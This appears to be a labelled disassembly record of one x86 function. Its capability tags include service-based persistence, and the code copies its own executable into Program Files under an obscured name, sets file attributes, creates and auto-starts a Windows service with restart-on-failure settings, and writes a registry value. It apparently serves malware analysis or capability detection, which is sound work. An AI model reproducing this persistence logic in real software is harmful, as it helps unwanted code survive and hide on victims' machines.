Function at 0x10006423
Capabilities:
Copy file
Create service
Modify service
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10008330
push 0x10007310
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3a8
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x328]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x220]
push eax
push str._ProgramFiles__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x10
test eax, eax
je 0x10006587
lea eax, [ebp - 0x220]
push eax
call fcn.10005690
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], bl
mov dword [esp], str.Xrrpzrv.exe
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x384]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp byte [ebp + eax - 0x221], 0x5c
jne 0x10006506
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [ebp + eax - 0x221], bl
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x220]
push eax
call fcn.100055a7
push esi
push ebx
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x18
movzx eax, word [0x1000afec]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x32c], edi
cmp edi, ebx
je 0x10006744
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x220]
push eax
push 1
pop esi
push esi
push 2
push pe_nt_image_headers32
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x388], str.Rscmgm_siceuqkm
lea eax, [ebp - 0x388]
push eax
push esi
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x3b8], ebx
xor eax, eax
lea edi, [ebp - 0x3b4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x3b4], ebx
mov dword [ebp - 0x3b8], 0x15180
mov dword [ebp - 0x39c], 0x1b58
mov dword [ebp - 0x3a0], esi
mov dword [ebp - 0x394], ebx
mov dword [ebp - 0x398], esi
mov dword [ebp - 0x38c], ebx
mov dword [ebp - 0x390], esi
mov dword [ebp - 0x3ac], 3
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3b0], ebx
lea eax, [ebp - 0x3b8]
push eax
push 2
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push dword [ebp - 0x3a4]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x330], ebx
jne 0x100066d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x100066d6
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp eax, ebx
je 0x10006744
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
push ebx
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x10006744
push 0x1000bbc0
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push esi
push ebx
push 0x1000bbb4
push dword [ebp - 0x224]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.1000675e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret